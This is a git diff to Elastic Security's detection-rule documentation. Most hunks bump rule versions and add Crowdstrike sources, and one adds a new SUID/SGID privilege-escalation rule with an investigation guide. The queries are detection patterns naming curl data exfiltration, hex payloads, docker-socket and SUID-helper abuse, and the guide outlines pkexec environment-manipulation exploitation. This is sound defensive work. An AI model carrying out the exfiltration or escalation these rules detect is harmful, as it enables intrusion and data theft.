a/docs/detections/prebuilt-rules/rule-details/oidc-discovery-url-changed-in-entra-id.asciidoc b/docs/detections/prebuilt-rules/rule-details/oidc-discovery-url-changed-in-entra-id.asciidoc index 4beb8117db..e680d7f253 100644 --- a/docs/detections/prebuilt-rules/rule-details/oidc-discovery-url-changed-in-entra-id.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/oidc-discovery-url-changed-in-entra-id.asciidoc @@ -32,7 +32,7 @@ Detects a change to the OpenID Connect (OIDC) discovery URL in the Entra ID Auth * Tactic: Persistence * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/okta-user-sessions-started-from-different-geolocations.asciidoc b/docs/detections/prebuilt-rules/rule-details/okta-user-sessions-started-from-different-geolocations.asciidoc index c97f107bbc..daa783cc96 100644 --- a/docs/detections/prebuilt-rules/rule-details/okta-user-sessions-started-from-different-geolocations.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/okta-user-sessions-started-from-different-geolocations.asciidoc @@ -34,7 +34,7 @@ Detects when a specific Okta actor has multiple sessions started from different * Tactic: Initial Access * Resources: Investigation Guide -*Version*: 308 +*Version*: 310 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/pluggable-authentication-module-pam-source-download.asciidoc b/docs/detections/prebuilt-rules/rule-details/pluggable-authentication-module-pam-source-download.asciidoc index f30441292e..dd8a565b9b 100644 --- a/docs/detections/prebuilt-rules/rule-details/pluggable-authentication-module-pam-source-download.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/pluggable-authentication-module-pam-source-download.asciidoc @@ -9,6 +9,7 @@ This rule detects the usage of `curl` or `wget` to download the source code of a * logs-endpoint.events.process* * endgame-* +* logs-crowdstrike.fdr* *Severity*: low @@ -37,8 +38,9 @@ This rule detects the usage of `curl` or `wget` to download the source code of a * Data Source: Elastic Defend * Data Source: Elastic Endgame * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 4 +*Version*: 5 *Rule authors*: @@ -100,7 +102,7 @@ Pluggable Authentication Modules (PAM) are integral to Linux systems, managing a [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event") and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "exec_event", "ProcessRollup2") and process.name in ("curl", "wget") and process.args like~ "https://github.com/linux-pam/linux-pam/releases/download/v*/Linux-PAM-*.tar.xz" diff --git a/docs/detections/prebuilt-rules/rule-details/potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc index d21397010e..8b19ee7729 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-abuse-of-resources-by-high-token-count-and-large-response-sizes.asciidoc @@ -34,7 +34,7 @@ Detects potential resource exhaustion or data breach attempts by monitoring for * Mitre Atlas: LLM04 * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-azure-openai-model-theft.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-azure-openai-model-theft.asciidoc index a2e05333e3..9c11a3f696 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-azure-openai-model-theft.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-azure-openai-model-theft.asciidoc @@ -31,7 +31,7 @@ Monitors for suspicious activities that may indicate theft or unauthorized dupli * Mitre Atlas: T0044 * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-chroot-container-escape-via-mount.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-chroot-container-escape-via-mount.asciidoc index 1202a4ac17..8f00d29dc8 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-chroot-container-escape-via-mount.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-chroot-container-escape-via-mount.asciidoc @@ -9,6 +9,7 @@ Monitors for the execution of a file system mount followed by a chroot execution * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: medium @@ -34,8 +35,9 @@ Monitors for the execution of a file system mount followed by a chroot execution * Data Source: Elastic Defend * Data Source: SentinelOne * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 106 +*Version*: 107 *Rule authors*: @@ -148,10 +150,10 @@ For more information about the additional fields collected when this setting is [source, js] ---------------------------------- sequence by host.id, process.parent.entity_id with maxspan=5m - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name == "mount" and process.args : "/dev/sd*" and process.args_count >= 3 and process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] - [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start") and + [process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "start", "ProcessRollup2") and process.name == "chroot"] ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/potential-data-exfiltration-through-curl.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-data-exfiltration-through-curl.asciidoc index d949a94700..75e10f32bd 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-data-exfiltration-through-curl.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-data-exfiltration-through-curl.asciidoc @@ -8,6 +8,7 @@ Detects the use of curl to upload an archived file to an internet server. Threat *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -31,8 +32,9 @@ Detects the use of curl to upload an archived file to an internet server. Threat * Tactic: Exfiltration * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -143,8 +145,8 @@ For more information on capturing environment variables refer to the https://www [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and process.name == "curl" and -process.parent.executable != null and (process.args in ("-F", "-T", "-d") or process.args like "--data*") and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and process.name == "curl" and +?process.parent.executable != null and (process.args in ("-F", "-T", "-d") or process.args like "--data*") and process.command_line like~ ("*@/*.zip*", "*@/*.gz*", "*@/*.tgz*", "*b64=@*", "*=<*") and process.command_line like~ "*http*" diff --git a/docs/detections/prebuilt-rules/rule-details/potential-denial-of-azure-openai-ml-service.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-denial-of-azure-openai-ml-service.asciidoc index 5fb9ec3f28..e9c1db772a 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-denial-of-azure-openai-ml-service.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-denial-of-azure-openai-ml-service.asciidoc @@ -31,7 +31,7 @@ Detects patterns indicative of Denial-of-Service (DoS) attacks on machine learni * Mitre Atlas: T0029 * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc index 8bbabf5a53..93d41214d6 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-dynamic-iex-reconstruction-via-environment-variables.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that reconstruct the IEX (Invoke-Expression) comma * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-hex-payload-execution-via-command-line.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-hex-payload-execution-via-command-line.asciidoc index 931e1c44bf..5ca0e5c763 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-hex-payload-execution-via-command-line.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-hex-payload-execution-via-command-line.asciidoc @@ -8,6 +8,7 @@ This rule detects when a process executes a command line containing hexadecimal *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: low @@ -30,8 +31,9 @@ This rule detects when a process executes a command line containing hexadecimal * Tactic: Execution * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 2 +*Version*: 3 *Rule authors*: @@ -128,8 +130,8 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and -process.parent.executable != null and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and +?process.parent.executable != null and process.command_line : "*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*\\x*" and length(process.command_line) > 50 diff --git a/docs/detections/prebuilt-rules/rule-details/potential-malicious-powershell-based-on-alert-correlation.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-malicious-powershell-based-on-alert-correlation.asciidoc index 94fbbf6af1..05ed6de439 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-malicious-powershell-based-on-alert-correlation.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-malicious-powershell-based-on-alert-correlation.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell script blocks associated with multiple distinct detections * Rule Type: Higher-Order Rule * Resources: Investigation Guide -*Version*: 2 +*Version*: 4 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-malware-driven-ssh-brute-force-attempt.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-malware-driven-ssh-brute-force-attempt.asciidoc index 8a12b195b2..d92204014e 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-malware-driven-ssh-brute-force-attempt.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-malware-driven-ssh-brute-force-attempt.asciidoc @@ -30,7 +30,7 @@ This detection identifies a Linux host that has potentially been infected with m * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-microsoft-365-user-account-brute-force.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-microsoft-365-user-account-brute-force.asciidoc index 1c761b4883..6e35ebfcf7 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-microsoft-365-user-account-brute-force.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-microsoft-365-user-account-brute-force.asciidoc @@ -36,7 +36,7 @@ Identifies brute-force authentication activity targeting Microsoft 365 user acco * Tactic: Credential Access * Resources: Investigation Guide -*Version*: 414 +*Version*: 416 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-port-scanning-activity-from-compromised-host.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-port-scanning-activity-from-compromised-host.asciidoc index 6582036437..6fd12277ba 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-port-scanning-activity-from-compromised-host.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-port-scanning-activity-from-compromised-host.asciidoc @@ -28,7 +28,7 @@ This rule detects potential port scanning activity from a compromised host. Port * Data Source: Elastic Defend * Resources: Investigation Guide -*Version*: 7 +*Version*: 9 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc index 018e7b021c..cb7784ae0e 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-backtick-escaped-variable-expansion.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use backtick-escaped characters inside ${} va * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc index 094976a37c..e6e57c310e 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-character-array-reconstruction.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use character arrays and runtime string recon * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc index ca1a5cb43d..200ac5b110 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-concatenated-dynamic-command-invocation.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use concatenated strings within dynamic comma * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc index 6ddddc044c..30f2d09812 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-numeric-character-proportion.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts with a disproportionately high number of numeric c * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-special-character-proportion.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-special-character-proportion.asciidoc index 30719fd020..2006f3bcc4 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-special-character-proportion.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-high-special-character-proportion.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts with an abnormally high proportion of non-alphanum * Data Source: PowerShell Logs * Rule Type: BBR -*Version*: 3 +*Version*: 5 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc index 4313c988b7..576c235adb 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-invalid-escape-sequences.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use invalid escape sequences as a form of obf * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 5 +*Version*: 7 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-reverse-keywords.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-reverse-keywords.asciidoc index 16a234ffdf..39c98de972 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-reverse-keywords.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-reverse-keywords.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use reversed strings as a form of obfuscation * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-special-character-overuse.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-special-character-overuse.asciidoc index 626e1542c2..60b5a93e87 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-special-character-overuse.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-special-character-overuse.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts with an unusually high proportion of whitespace an * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-concatenation.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-concatenation.asciidoc index 13da416521..0b124c5f49 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-concatenation.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-concatenation.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use string concatenation as a form of obfusca * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 4 +*Version*: 6 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-reordering.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-reordering.asciidoc index e2a47e3565..46232cd2db 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-reordering.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-powershell-obfuscation-via-string-reordering.asciidoc @@ -28,7 +28,7 @@ Identifies PowerShell scripts that use string reordering and runtime reconstruct * Data Source: PowerShell Logs * Resources: Investigation Guide -*Version*: 6 +*Version*: 8 *Rule authors*: diff --git a/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-through-writable-docker-socket.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-through-writable-docker-socket.asciidoc index 801abcb0ff..7ea8043c37 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-through-writable-docker-socket.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-through-writable-docker-socket.asciidoc @@ -8,6 +8,7 @@ This rule monitors for the usage of Docker runtime sockets to escalate privilege *Rule indices*: * logs-endpoint.events.process* +* logs-crowdstrike.fdr* *Severity*: medium @@ -32,8 +33,9 @@ This rule monitors for the usage of Docker runtime sockets to escalate privilege * Domain: Container * Data Source: Elastic Defend * Resources: Investigation Guide +* Data Source: Crowdstrike -*Version*: 9 +*Version*: 10 *Rule authors*: @@ -132,7 +134,7 @@ For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/ [source, js] ---------------------------------- -process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and +process where host.os.type == "linux" and event.type == "start" and event.action in ("exec", "ProcessRollup2") and ( (process.name == "docker" and process.args : "run" and process.args : "-it" and process.args : ("unix://*/docker.sock", "unix://*/dockershim.sock")) or diff --git a/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc new file mode 100644 index 0000000000..68be3b1685 --- /dev/null +++ b/docs/detections/prebuilt-rules/rule-details/potential-privilege-escalation-via-suid-sgid-proxy-execution.asciidoc @@ -0,0 +1,189 @@ +[[potential-privilege-escalation-via-suid-sgid-proxy-execution]] +=== Potential Privilege Escalation via SUID/SGID Proxy Execution + +Detects potential privilege escalation via SUID/SGID proxy execution on Linux systems. Attackers may exploit binaries with the SUID/SGID bit set to execute commands with elevated privileges. This rule identifies instances where a process is executed with root privileges (user ID 0 or group ID 0) while the real user or group ID is non-root, indicating potential misuse of SUID/SGID binaries. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dfir.ch/posts/today_i_learned_binfmt_misc/ +* https://gtfobins.github.io/#+suid +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Persistence +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Privilege Escalation via SUID/SGID Proxy Execution* + + +This rule surfaces executions of well-known SUID/SGID helpers on Linux that run with root privileges while the launching user remains non‑root, signaling an attempt to proxy elevated rights. It matters because a non‑privileged process invoking pkexec can spawn /bin/sh as root via environment manipulation, turning a low-privilege foothold into full system control. + + +*Possible investigation steps* + + +- Determine if the invocation is interactive and expected (e.g., admin using su/sudo) by correlating with a TTY/SSH session, recent successful authentication logs, and sudo/polkit policy outcomes in journald. +- For pkexec events, inspect the environment for exploit indicators (e.g., unset argv or suspicious GCONV_PATH, PATH, LD_PRELOAD, LC_* values) and look for attacker-created files in /tmp or the user's home that match gconv or loader artifacts. +- Review the child/descendant process tree of the SUID/SGID helper to see if it spawned a root shell or arbitrary interpreter, and pivot to concurrent network connections or file writes by those children. +- Validate whether the executable’s SUID/SGID file on disk has been tampered with by checking its hash, permissions, ownership, and recent mtime against package manager metadata and known-good baselines. +- If the binary is mount/umount/fusermount or newuidmap/newgidmap, correlate with container or FUSE activity to confirm a legitimate workflow and inspect mounts or namespace changes for risky options (e.g., suid, exec) or unusual target directories. + + +*False positive analysis* + + +- An authorized pkexec or polkit-agent-helper invocation by a user to perform a permitted administrative task may run as root while the real user is non‑root, often with a single‑argument parent, and should align with an interactive prompt and expected policy. +- Normal unprivileged workflows using fusermount3 or newuidmap/newgidmap legitimately leverage SUID/SGID helpers, typically launched by a simple shell with one argument, and should correlate with expected mount or user‑namespace activity. + + +*Response and remediation* + + +- Immediately isolate the host, kill the offending SUID/SGID child processes (e.g., pkexec spawning /bin/sh), and temporarily remove the setuid/setgid bit from the abused binary (chmod u-s /usr/bin/pkexec or chmod g-s /usr/bin/newgrp) to halt further elevation. +- Reinstall and verify integrity of abused packages and SUID helpers (e.g., polkit to replace /usr/bin/pkexec, dbus-daemon-launch-helper, fusermount3) and delete attacker artifacts such as gconv modules or LD_PRELOAD payloads from /tmp, /var/tmp, and user homes. +- Undo attacker changes by restoring /etc/sudoers, /etc/passwd and /etc/shadow, and polkit rules under /usr/share/polkit-1 or /etc/polkit-1, unmount suspicious FUSE or bind mounts created by fusermount3/mount, and rotate credentials and keys. +- Escalate to incident command if you observe a SUID helper launching an interactive root shell (/bin/sh -p or bash -p), root-owned droppers in /tmp or /usr/local/bin, or similar events on more than one host or account. +- Permanently reduce the SUID/SGID attack surface by auditing and removing setuid bits from rarely used binaries (e.g., chfn, chsh, newgrp, ssh-keysign), restricting pkexec via polkit rules to specific callers, and mounting /tmp, /var/tmp, and home directories with nosuid,nodev,noexec. +- Strengthen monitoring and policy by enabling AppArmor/SELinux confinement for pkexec and mount helpers, adding auditd rules for exec of setuid binaries and writes to /tmp by root, and enforcing least-privilege sudoers by removing broad NOPASSWD entries and requiring MFA for privileged tasks. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.user.id == "0" and process.real_user.id != "0") or + (process.group.id == "0" and process.real_group.id != "0") +) and process.args in ( + "/bin/su", "/usr/bin/su", + "/usr/bin/sudo", + "/bin/mount", "/usr/bin/mount", + "/bin/umount", "/usr/bin/umount", + "/usr/bin/fusermount3", + "/bin/passwd", "/usr/bin/passwd", + "/bin/chfn", "/usr/bin/chfn", + "/bin/chsh", "/usr/bin/chsh", + "/bin/gpasswd", "/usr/bin/gpasswd", + "/bin/newgrp", "/usr/bin/newgrp", + "/sbin/unix_chkpwd", "/usr/sbin/unix_chkpwd", + "/usr/bin/newuidmap", "/usr/bin/newgidmap", + "/usr/lib/dbus-1.0/dbus-daemon-launch-helper", "/usr/libexec/dbus-daemon-launch-helper", + "/usr/lib/openssh/ssh-keysign", "/usr/libexec/openssh/ssh-keysign", + "/usr/bin/pkexec", "/usr/libexec/pkexec", "/usr/lib/polkit-1/pkexec", + "/usr/lib/polkit-1/polkit-agent-helper-1", "/usr/libexec/polkit-agent-helper-1", + "/usr/lib/snapd/snap-confine" +) and process.parent.args_count == 1 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Setuid and Setgid +** ID: T1548.001 +** Reference URL: https://attack.mitre.org/techniques/T1548/001/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/rule-details/potential-ransomware-behavior-note-files-by-system.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-ransomware-behavior-note-files-by-system.asciidoc index 4d35802ed0..9aae9ea749 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-ransomware-behavior-note-files-by-system.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-ransomware-behavior-note-files-by-system.asciidoc @@ -30,7 +30,7 @@ This rule identifies the creation of multiple files with same name and over SMB * Resources: Investigation Guide * Data Source: Elastic Defend -*Version*: 211 +*Version*: 213 *Rule authors*: @@ -103,10 +103,10 @@ from logs-endpoint.events.file-* metadata _id, _version, _index // truncate the timestamp to a 60-second window | eval Esql.time_window_date_trunc = date_trunc(60 seconds, @timestamp) -| keep file.path, file.name, process.entity_id, Esql.time_window_date_trunc +| keep user.id, user.name, file.path, file.name, process.entity_id, Esql.time_window_date_trunc, host.name, host.ip // filter for same file name dropped in at least 3 unique paths by the System virtual process -| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path) by process.entity_id , file.name, Esql.time_window_date_trunc +| stats Esql.file_path_count_distinct = COUNT_DISTINCT(file.path), Esql.file_path_values = VALUES(file.path), Esql.host_ip_values = values(host.ip) by host.name, user.name, user.id, process.entity_id , file.name, Esql.time_window_date_trunc | where Esql.file_path_count_distinct >= 3 ---------------------------------- diff --git a/docs/detections/prebuilt-rules/rule-details/potential-shell-via-wildcard-injection-detected.asciidoc b/docs/detections/prebuilt-rules/rule-details/potential-shell-via-wildcard-injection-detected.asciidoc index dbed114d62..f80fa6de92 100644 --- a/docs/detections/prebuilt-rules/rule-details/potential-shell-via-wildcard-injection-detected.asciidoc +++ b/docs/detections/prebuilt-rules/rule-details/potential-shell-via-wildcard-injection-detected.asciidoc @@ -9,6 +9,7 @@ This rule monitors for the execution of a set of linux binaries, that are potent * logs-endpoint.events.process* * logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* *Severity*: medium @@ -34,8 +35,9 @@ This rule monitors for the execution of a set of linux binaries, that are potent * Data Source: Elastic Defend * Data Source: SentinelOne * Resources: Investigation Guide +* Data 